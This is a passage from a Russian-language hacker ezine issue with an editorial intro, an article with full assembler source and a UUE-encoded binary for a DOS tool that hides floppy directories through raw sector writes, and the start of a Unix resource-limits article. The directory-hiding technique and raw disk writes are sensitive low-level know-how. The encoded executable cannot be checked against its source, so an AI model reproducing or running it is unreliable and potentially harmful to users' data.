.Feeling of Digital Streams 6.
gggggggggggggggggg+ +ggggggggg
`$$$$$P''''Y$$$$P A$A V$$$$$$$
m.`$'.d$$$b $$$P A$$$P $$$P.mm
$$b d$$$PT$ ^^^ A$$$P d$$'d$$$
$P d$$$P.++ $$$b Y$$ d$$'d$$$$
.ss. $ d$$$$b.d$b $$$$b $$mmmm,"Y$$ .ss.
'$b,/$P'`Vb. $b V$$$$$$$P .`Y$$b $$$$$$b Y$ .dV'`Y$\,d$`
Y$P' .$D $$b V$$$f qd $+ $$$ `'T$$$$b $ D$. `Y$P
' dP' $$'a V$$$b $...d$$P $ d$$$$P $ `Yb `
'$. $'d$b V$$P $$$$$$'.$ d$$$$P d$ $`
'$. md$P.a V'.d$$$P'.dP d$$$$P d$$ .$`
'$. $$$ G$$gdb qggg$$P d$$$$P d$$$ .$`
':+. $$$b Y$$$$b Y$$$P d$$$$P d$$$$ .+:
gggggggggggggggggggggggggggggg
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
.network underground magazine.
:. .:
`$. .$'
`$o. .a$'
`$b, ,d$'
`$$$$$'
'$'
,?$$;$!$$$$$$$$!$$$$$$$$$$!$$$$.
%;' `;%
Introduction
%;. ,;%
`?$$$$$;$!$$$$$$$$$$$$$$$$!$$$$'
w00w! Наш путь, начавшийся с 1 - го выпуска fds, продолжается.
Всё так же best_mowi и Scorpio делятся своими пейперами и про-
граммами, и всё так же стараются, чтобы ru/kz-internet был вам
интересен, чтобы вам не казалось, что совсем нет людей,которые
могут приподнести что - то интересное и вкусное...
Особо удивило количество писем, пришедших после выпуска преды-
дущего номера.Конечно, нельзя сказать, что оно было велико, но
поверьте довольно впечатлительно.Особо удивил email creAgen'a,
рассказавшего нам о том - как он узнал о нашем журнале. Как ни
странно из "Хакера" ;D
Самой главной новостью является,конечно же, пополнение редкол-
легии нашего журнала. К нам присоединился shmel. Хочется наде-
яться, что данное пополнение очень положительно отразится на
нашем ezine,и вы, наши читатели, по достоинству оцените это.
Итак, пока наше правительство широко внедряет электронные кре-
дитные бюро, а _жалкий_ монополист kazakhtelecom думает как бы
догнать по уровню at&t, претворяя в жизнь проект "Телефоны до-
верия", знакомтесь с контентом, представленном в шестом выпус-
ке feeling of digital streams:
00. Introduction................................by best_mowi
01. Lock directory................................by Scorpio
02. Introduction to system limits...............by best_mowi
03. Full access to the disk partitions(win).........by shmel
04. Elite kungfu..........................by shmel/best_mowi
05. Shadow disk...................................by Scorpio
06. Customizing FreeBSD loader with 4th.............by shmel
07. Acm 1/4 kz subregion..........by Scorpio/best_mowi/shmel
08. Close words.................................by best_mowi
,$$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
%;' `;%
Lock directory
%;. ,;%
`$$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'
I. ЦЕЛЬ
II. ВСТУПЛЕНИЕ
III. ОБЗОР СУЩЕСТВУЮЩИХ ПРОГРАММ
IV. ПРЕДСТАВЛЕНИЕ АЛГОРИТМА
V. РУКОВОДСТВО ПОЛЬЗОВАТЕЛЯ
VI. РЕЗУЛЬТАТЫ ТЕСТИРОВАНИЯ
VII. ЗАКЛЮЧЕНИЕ
VIII. SHADOW.BAT
IX. LOCKDIR.ASM
X. UUE ENCODED LOCKDIR.COM V0.3
I. ЦЕЛЬ
Цель состоит в том,чтобы создать такую программу,которая при запуске бло-
кирует определенную директорию и не позволяет другим пользователям про-
никнуть в нее.
II. ВСТУПЛЕНИЕ
Издревле человека интересовали возможности защиты своей личной информации
от чужих глаз. Никому не хочется, чтобы другие узнали его самые потаенные
секреты. Чем больше у человека тайн (и чем более они действительно серьё-
знее), тем более изощренную защиту он изобретает.
В данном проекте рассматривается компьютерная защита,а точнее скрытие ка-
талога с файлами для защиты личной конфиденциальной информации.
III. ОБЗОР СУЩЕСТВУЮЩИХ ПРОГРАММ
В данном разделе я хотел бы рассказать о программах, схожих с написанной
мною для данного проекта.Это "dirlock" написанная Олегом Бурдаевым в 2000
году для книги "Ассемблер в задачах защиты информации", а также программа
"THE HIDER V 2.0" написанная неизвестным автором и найденная в глобальной
сети Internet. Рассмотрев каждую из них, я не пришел в восторг. Программа
"dirlock" при запуске перехватывала 21h и 2fh DOS прерывания. При таких
доступах как чтение/запись/создание/удаление/запуск файлов из каталога,
переход в каталог или же операции над самой директорией,программа генери-
ровала ошибку "путь не найден", и программа работающая через DOS прерыва-
ния недоумевающе не могла исполнить поставленную перед ней задачу. Но са-
мое обидное в том,что если воспользоваться командами из консоли (dir, cd,
mkdir, rmdir, ren, del, и т.д.), которые обрабатываются самим COMMAND.COM
- загрузочным файлом операционной системы DOS, то команды легко исполнят-
ся, так как все описанные выше команды при запуске не генерируют никаких
прерываний, а напрямую обращаются к системной памяти DOS. Отсюда следует,
что любой человек воспользовавшись командной строкой,не будет приостанов-
лен в своих действиях.
Вторая программа "THE HIDER V2.0" написанная на VBScript'ах, просто копи-
рует два измененных файла (folder.htt и desktop.ini), в каталог, который
необходимо защитить. Таким образом при захождении в этот каталог средст-
вами обозревателя Internet Explorer, нам выдастся форма для ввода пароля.
При неправильном вводе файлы в папке не будут отображаться. Но такой ме-
тод защиты является очень слабым, так как воспользовавшись любой другой
программой/файловым диспетчером, пользователь спокойно пройдет защиту, от
которой не останется и следа. Также можно даже в самом Explorer'е отклю-
чить web-интерфейс и защита не будет вам мешать.
При написании своей программы я воспользовался методом скрытия каталога с
помощью изменения пары бит в файле каталоге, зарезервированных для после-
дующих расширений DOS.После запуска программы каталог скрывается из виду,
не просматриваясь ни одной программой. Его можно только просмотреть непо-
средственным низкоуровневым чтением носителя,например,программой DISKEDIT
из пакета Norton Utilites. Я считаю, что этот вид защиты более защищен от
вскрытия, чем найденные мною программы.Вообще на тему защиты каталогов от
несанкционированного доступа на сегодняшний день существует очень мало
программ. Так что возможно мой проект поможет кому - либо в его деле.
IV. ПРЕДСТАВЛЕНИЕ АЛГОРИТМА
Программа, созданная в данном проекте, писалась на языке низкого уровня -
Assembler'e, с использованием прерываний 25h и 26h для непосредственного
доступа к диску.
После запуска программа спрашивает пользователя, какой каталог он желает
удалить на диске А.
Затем пытается найти запись определенного каталога, следуя маршруту ука-
занному пользователем в пути от корневого каталога,обращаясь за месторас-
положением в 1-ую таблицу FAT.
Найдя каталог, программа инвертирует 4, 6 и 7-ые биты в описании каталога
по смещению 0bh, который отвечает за тип записи (файл, каталог, метка то-
ма, атрибуты файла).Таким образом меняя 4 - й бит записи - изменяет иден-
тификацию каталога, 6 и 7 - ые неиспользуемые биты.
Если каталог не найден, то выводится надпись, гласящая об этом.
V. РУКОВОДСТВО ПОЛЬЗОВАТЕЛЯ
Для создания загрузочного файла необходимо создать файл "lockdir.asm", в
него скопировать текст приложения. Затем продизассемблировать полученный
файл "tasm lockdir.asm" и после слинковать "tlink /t lockdir.obj".
После запуска полученная программа "lockdir.com" спросит какой каталог на
диске "А:" необходимо скрыть. Необходимо ввести полный путь от корневого
каталога, без указания имени диска и символа ":". Например: tasm\bin\new
После выполнения программы каталог исчезнет.
Для того, чтобы каталог появился необходимо запустить эту же программу и
указать путь к бывшему каталогу, как вы вводили в первый раз.
VI. РЕЗУЛЬТАТЫ ТЕСТИРОВАНИЯ
И наконец один из несложных опытов (SHADOW.BAT), показывающий скрытую фу-
нкцию программы, найденную мною при тестировании.Перед запуском скопируй-
те на дискету LOCKDIR.COM в корневой каталог.
VII. ЗАКЛЮЧЕНИЕ
На этом откланиваюсь и предлагаю в приложении текст программы (представ-
ляется "как есть", вы можете свободно распространять, изменять, редакти-
ровать исходный код. При написании модернизированных версий LockDir, линк
на первого разработчика, то есть меня, обязателен!).
Если у вас появятся какие-либо замечания и дополнения прошу писать на:
[email protected]
VIII. SHADOW.BAT
---< cut here >---
@echo off
a:
cd \
mkdir new
cd new
mkdir newest
cd newest
echo salam>privet
echo после этого введите "new\newest\privet"
a:\lockdir.com
echo появится подкаталог privet в котором будет файл salam
cd privet
echo shadowtext>salam
echo теперь у нас файл со скрываемым содержанием
cd ..
echo введите снова "new\newest\privet"
a:\lockdir.com
echo после этого у вас будет файл privet содержание которого "salam"
echo если захотите, можете снова набрать a:\lockdir.com
echo и ввести new\newest\privet
echo появится файл со скрытым текстом "shadowtext"
---< cut here >---
IX. LOCKDIR.ASM
---< cut here >---
masm
model tiny
.code
org 100h
start:
push cs
pop ds
xor ax,ax
mov cx,0eh
mov dx,13h
lea bx,buf
int 25h
ent:
mov ah,09h
lea dx,entmes
int 21h
mov ah,3fh
xor bx,bx
lea dx,dir
mov cx,80
int 21h
or al,al
jz ent
dec al
dec al
mov dirlen,ax
xor cx,cx
mov cl,al
mov al,'\'
cld
lea di,dir
repne scasb
je fslash
mov ax,[dirlen]
sub ax,cx
jmp next
fslash:
mov ax,[dirlen]
sub ax,cx
dec ax
next:
mov cx,ax
mov [dir1len],ax
cld
lea si,dir
lea di,dir1
rep movsb
mov cx,[dir1len]
xor di,di
next1:
and dir1[di],0dfh
inc di
loop next1
mov cx,224
xor di,di
xor si,si
lea bx,buf
nxtrec:
mov tempcx,cx
mov cx,11
nxtch:
mov al,dir1[si]
cmp al,bx[si]
jne nequal
inc si
loop nxtch
or cx,cx
jz finded
nequal:
xor si,si
add bx,20h
mov cx,tempcx
loop nxtrec
jmp dirnotfind
finded:
xor ax,ax
mov al,bx[11]
db 0fh, 0bah, 0e0h, 04h; bt ax,4
jc fdir
db 0fh, 0bah, 0e0h, 07h; bt ax,7
jc fdir
or cx,cx
jnz nxtrec
fdir:
mov cx,dirlen
cmp cx,dir1len
ja notlastdir
xor al,0d0h
mov bx[11],al
xor ax,ax
mov cx,0eh
mov dx,13h
lea bx,buf
int 26h
mov ax,4c00h
int 21h
dirnotfind:
mov ah,09
lea dx,dirnf
int 21h
mov ax,4c00h
int 21h
notlastdir:
lea di,dir
lea si,dir
add si,dir1len
inc si
mov cx,dirlen
sub cx,dir1len
dec cx
mov dirlen,cx
rep movsb
mov cx,dirlen
mov al,'\'
cld
lea di,dir
repne scasb
je fslasha
mov ax,dirlen
sub ax,cx
jmp nexta
fslasha:
mov ax,dirlen
sub ax,cx
dec ax
nexta:
mov cx,ax
mov dir1len,ax
cld
lea si,dir
lea di,dir1
rep movsb
mov cx,11
sub cx,dir1len
lea si,space
rep movsb
mov cx,dir1len
xor di,di
next1a:
and dir1[di],0dfh
inc di
loop next1a
mov ax,bx[1ah]
mov dircl,ax
mov [chain],ax
mov numsec,1
mov numrec,10h
xor ax,ax
mov cx,9
xor dx,dx
inc dx
lea bx,buffat
int 25h
mov ax,dircl
xor di,di
nextcl:
mov dx,ax
mov bx,ax
shl bx,1
add ax,bx
shr ax,1
mov si,ax
lea bx,buffat
mov ax,bx[si]
test dx,1
jz parity
shr ax,4
parity:
and ax,0fffh
inc di
inc di
mov chain[di],ax
cmp ax,0ff0h
jb nextcl
xor di,di
mov dx,chain[di]
add dx,31
mov dirsec,dx
nextdirsec:
mov dx,dirsec
xor ax,ax
xor cx,cx
inc cl
lea bx,buf
int 25h
mov numrec,10h
mov cx,numrec
xor di,di
xor si,si
lea bx,buf
nxtreca:
mov tempcx,cx
mov cx,11
nxtcha:
mov al,dir1[si]
cmp al,bx[si]
jne nequala
inc si
loop nxtcha
or cx,cx
jz findeda
nequala:
xor si,si
add bx,20h
mov cx,tempcx
loop nxtreca
jmp dirnotfinda
findeda:
xor ax,ax
mov al,bx[11]
db 0fh,0bah,0e0h,04h; bt ax,4
jc fdira
db 0fh,0bah,0e0h,07h; bt ax,7
jc fdira
or cx,cx
jnz nxtreca
fdira:
mov cx,dirlen
cmp cx,dir1len
jnz notlastdira
xor al,0d0h
mov bx[11],al
xor ax,ax
mov cx,numsec
mov dx,dirsec
lea bx,buf
int 26h
mov ax,4c00h
int 21h
dirnotfinda:
mov di,tempdi
inc di
inc di
mov tempdi,di
mov ax,chain[di]
add ax,31
mov dirsec,ax
cmp ax,1000h
jb nextdirseca
mov ah,09
lea dx,dirnf
int 21h
mov ax,4c00h
int 21h
notlastdira:
mov tempdi,0
jmp notlastdir
nextdirseca:
jmp nextdirsec
entmes db "Enter your directory", 0dh, 0ah
db '$'
dirnf db "Directory not found",0dh,0ah,'$'
dirlen dw 0
dir1len dw 0
dircl dw 0
dirsec dw 13h
numrec dw 0e0h
numsec dw 0eh
tempcx dw 0
tempdi dw 0
dir db 80 dup (0)
dir1 db 11 dup (20h)
space db 11 dup (20h)
chain dw 20 dup (0ffffh)
buf db 7168 dup (0)
buffat db 4608 dup (0ffh)
end start
end
---< cut here >---
X. UUE ENCODED LOCKDIR.COM V0.3
---< cut here >---
begin 644 LOCKDIR.COM
M#A\SP+D.`+H3`+L.!,TEM`FZ0P/-(;0_,]NZ@`.Y4`#-(0K`=.G^R/[(HW`#
M,\F*R+!<_+^``_*N=`BA<`,KP>L'D*%P`RO!2(O(HW(#_+Z``[_0`_.DBPYR
M`S/_@*70`]^01^+WN>``,_\S]KL.!(D.?`.Y"P"*A-`#.@!U!T;B]0O)=`XS
M]H/#((L.?`/BW^LWD#/`BD<+#[K@!'(*#[K@!W($"\EUQXL.<`,[#G(#=R,T
MT(A'"S/`N0X`NA,`NPX$S2:X`$S-(;0)NEH#S2&X`$S-(;^``[Z``P,V<@-&
MBPYP`RL.<@-)B0YP`_.DBPYP`[!<_+^``_*N=`BA<`,KP>L'D*%P`RO!2(O(
MHW(#_+Z``[_0`_.DN0L`*PYR`[[;`_.DBPYR`S/_@*70`]^01^+WBT<:HW0#
MH^8#QP9Z`P$`QP9X`Q``,\"Y"0`STD*[#B#-):%T`S/_B]"+V-'C`\/1Z(OP
MNPX@BP#WP@$`=`C1Z-'HT>C1Z"7_#T='B87F`SWP#W+3,_^+E>8#@\(?B19V
M`XL6=@,SP#/)_L&[#@3-)<<&>`,0`(L.>`,S_S/VNPX$B0Y\`[D+`(J$T`,Z
M`'4'1N+U"\ET#C/V@\,@BPY\`^+?ZSF0,\"*1PL/NN`$<@H/NN`'<@0+R77'
MBPYP`SL.<@-U/C30B$<+,\"+#GH#BQ9V`[L.!,TFN`!,S2&+/GX#1T>)/GX#
MBX7F`P4?`*-V`ST`$'(5M`FZ6@/-(;@`3,TAQP9^`P``Z9;^Z5/_16YT97(@
M>6]U<B!D:7)E8W1O<GD-"B1$:7)E8W1O<GD@;F]T(&9O=6YD#0HD````````
M$P#@``X`````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M("`@("`@("`@("`@("`@("`@("`@(/______________________________
M______________________\`````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````____________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
M____________________________________________________________
#____
`
end
sum -r/size 58521/12558
---< cut here >---
,?$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
%;' `;%
Introduction to system limits
%;. ,;%
`?$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'
-[ start words
-[ resource module
-[ checking rlimit_*
-[ rlimit_ofile testing
-[ close words
-[ ps. /etc/security/limits.conf
-[ credits
-[ start words
OS семейства UNIX позволяют использовать некоторые механизмы, предостав-
ляющие возможности контролирования и слежения за системными ресурсами.
Думаю, что профессиональные девелоперы программного обеспечения под рас-
сматриваемые нами системы, до прочтения этих строк, конечно же имели об
этом представление или даже некоторый практический опыт.
-[ resource module
Итак, в реализации python имеется специальный разработанный модуль,кото-
рый является мощным инструментом в решении, рассматриваемых нами проб-
лем. Написан на С, исходный код, разумеется доступен. Для самых трудолю-
бивых линкую вас в директорию с исходными кодами python -
Python-%version%/Modules/resource.c
Если внимательно рассмотреть resource.c (кстати, модуль, о котором идёт
речь, именуется как - resource), то можно заметить такую строку кода -
#include <sys/resource.h>
Именно в resource.h и определены константы, описывающие поддерживаемые
типы ресурсов:
- RLIMIT_CPU /* Per-process CPU limit, in seconds. */
лимит процессорного времени в секундах, которое данный процесс может
использовать;
- RLIMIT_FSIZE /* Largest file that can be created, in bytes. */
"размерный" лимит файла в байтах, то есть максимальный размер файла,
с которым работает процесс;
- RLIMIT_DATA /* Maximum size of data segment, in bytes. */
максимальный размер сегмента (области) данных процесса в байтах;
- RLIMIT_STACK /* Maximum size of stack segment, in bytes. */
максимальный размер стека в байтах;
- RLIMIT_CORE /* Largest core file that can be created, in bytes. */
размер файла дампа памяти core в байтах;
- RLIMIT_RSS /* Largest resident set size, in bytes.
This affects swapping; processes that are exceeding
their resident set size will be more likely to have
physical memory taken from them. */
наибольший размер физической памяти процесса в байтах;
- RLIMIT_NOFILE /* Number of open files. */
RLIMIT_OFILE = RLIMIT_NOFILE, /* BSD name for same. */
количество открытых файлов;
- RLIMIT_NPROC /* Number of processes. */
число дочерних процессов, порождённых от данного родительского;
- RLIMIT_MEMLOCK /* Locked-in-memory address space. */
адресное пространство, которое может быть зафиксировано в памяти.
Это, разумеется, не все константы...
-[ checking rlimit_*
Ок'ей - двигаем дальше. Думаю, любому человеку будет интересно узнать ка-
кие же именно ограничения действуют в его системе. Для этих целей можно
воспользоваться следующей getlimits.py ->
-> getlimits.py ->
#!/usr/bin/env python
#
# - , - - , - - , -
# | Copyright (C) 2004 best_mowi | getlimits.py |
# - ' - - ' - - ' -
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
import resource
def main():
print "\033[;31m[*] Executing program... please, wait.\033[;37m"
CPU_S = resource.getrlimit(resource.RLIMIT_CPU)[0]
CPU_H = resource.getrlimit(resource.RLIMIT_CPU)[1]
DATA_S = resource.getrlimit(resource.RLIMIT_DATA)[0]
DATA_H = resource.getrlimit(resource.RLIMIT_DATA)[1]
RSS_S = resource.getrlimit(resource.RLIMIT_RSS)[0]
RSS_H = resource.getrlimit(resource.RLIMIT_RSS)[1]
STACK_S = resource.getrlimit(resource.RLIMIT_STACK)[0]
STACK_H = resource.getrlimit(resource.RLIMIT_STACK)[1]
CORE_S = resource.getrlimit(resource.RLIMIT_CORE)[0]
CORE_H = resource.getrlimit(resource.RLIMIT_CORE)[1]
FSIZE_S = resource.getrlimit(resource.RLIMIT_FSIZE)[0]
FSIZE_H = resource.getrlimit(resource.RLIMIT_FSIZE)[1]
NPROC_S = resource.getrlimit(resource.RLIMIT_NPROC)[0]
NPROC_H = resource.getrlimit(resource.RLIMIT_NPROC)[1]
OFILE_S = resource.getrlimit(resource.RLIMIT_OFILE)[0]
OFILE_H = resource.getrlimit(resource.RLIMIT_OFILE)[1]
MEMLOCK_S = resource.getrlimit(resource.RLIMIT_MEMLOCK)[0]
MEMLOCK_H = resource.getrlimit(resource.RLIMIT_MEMLOCK)[1]
print "\033[1;41m"
print "[+] RLIMIT_CPU -> [softlimit]: %-4s [hardlimit]: %-4s" % ( str(CPU_S), str(CPU_H))
print "[+] RLIMIT_DATA -> [softlimit]: %-4s [hardlimit]: %-4s" % ( str(DATA_S), str(DATA_H))
print "[+] RLIMIT_RSS -> [softlimit]: %-4s [hardlimit]: %-4s" % ( str(RSS_S), str(RSS_H))
print "[+] RLIMIT_STACK -> [softlimit]: %-4s [hardlimit]: %-4s" % ( str(STACK_S), str(STACK_H))
print "[+] RLIMIT_CORE -> [softlimit]: %-4s [hardlimit]: %-4s" % ( str(CORE_S), str(CORE_H))
print "[+] RLIMIT_FSIZE -> [softlimit]: %-4s [hardlimit]: %-4s" % ( str(FSIZE_S), str(FSIZE_H))
print "[+] RLIMIT_NPROC -> [softlimit]: %-4s [hardlimit]: %-4s" % ( str(NPROC_S), str(NPROC_H))
print "[+] RLIMIT_OFILE -> [softlimit]: %-4s [hardlimit]: %-4s" % ( str(OFILE_S), str(OFILE_H))
print "[+] RLIMIT_MEMLOCK -> [softlimit]: %-4s [hardlimit]: %-4s" % (str(MEMLOCK_S), str(MEMLOCK_H))
print "\033[;37m"
print "\033[;31m[*] Program halted... system exit!\033[;37m"
if (__name__ == "__main__"): main()
-> getlimits.py ->
Теперь постмотрим на результаты выполнения этой программы:
root@localhost limits# ./getlimits.py
[*] Executing program... please, wait.
[+] RLIMIT_CPU -> [softlimit]: -1 [hardlimit]: -1
[+] RLIMIT_DATA -> [softlimit]: -1 [hardlimit]: -1
[+] RLIMIT_RSS -> [softlimit]: -1 [hardlimit]: -1
[+] RLIMIT_STACK -> [softlimit]: -1 [hardlimit]: -1
[+] RLIMIT_CORE -> [softlimit]: 0 [hardlimit]: -1
[+] RLIMIT_FSIZE -> [softlimit]: -1 [hardlimit]: -1
[+] RLIMIT_NPROC -> [softlimit]: 4095 [hardlimit]: 4095
[+] RLIMIT_OFILE -> [softlimit]: 1024 [hardlimit]: 1024
[+] RLIMIT_MEMLOCK -> [softlimit]: -1 [hardlimit]: -1
[*] Program halted... system exit!
root@localhost limits#
SOFTLIMIT - мягкий предел, HARDLIMIT - твёрдый предел. 1-ый не может пре-
высить второй, ибо при этом возбудится исключение ValueError.
Относительно же значений мягких и твёрдых пределов, равных -1, скажу, что
таким образом указывается самое максимальное значение предела.
Так что (особенно 4 kids) особо не удивляйтесь советам в mc - много ОЗУ?-
установите ограничение на blah blah blah в -1.
-[ rlimit_ofile testing
Для проверки работоспособности контроля за системными ресурсами, я решил
протестировать один из лимитов.
Мною была написана программа генерирования 1024 файлов - для сверки дейс-
твительности количества максимально открытых файлов.
То есть, как указывал SOFLIMIT на RLIMIT_OFILE -> 1024, соотвественно при
одновременном открытии уже 1025 файлов (практически, конечно же, немного
менее), python - интерпретатор должен был выдать ошибку наподобии:
IOError: [Errno 24] Too many open files: ...,
-> RLIMIT_OFILE testing dump ->
root@localhost limits# ls
create1024.py* createvars.py* getlimits.py*
root@localhost limits# cat createvars.py
#!/usr/bin/env python
NUM = 1024
fd = open("test", "w")
fd.write("test=[")
for loop in xrange(0, NUM):
fd.write("'fd"+str(loop)+"',")
fd.write("]")
fd.close()
root@localhost limits# cat create1024.py
#!/usr/bin/env python
import resource
unknown = {}
execfile("test", unknown)
test_lst = unknown['test']
for loop in xrange(0, len(test_lst)):
test_lst[loop] = open("temp"+str(loop), "w")
print str(loop) + ":" + str(resource.getrlimit(resource.RLIMIT_OFILE)[0]) + \
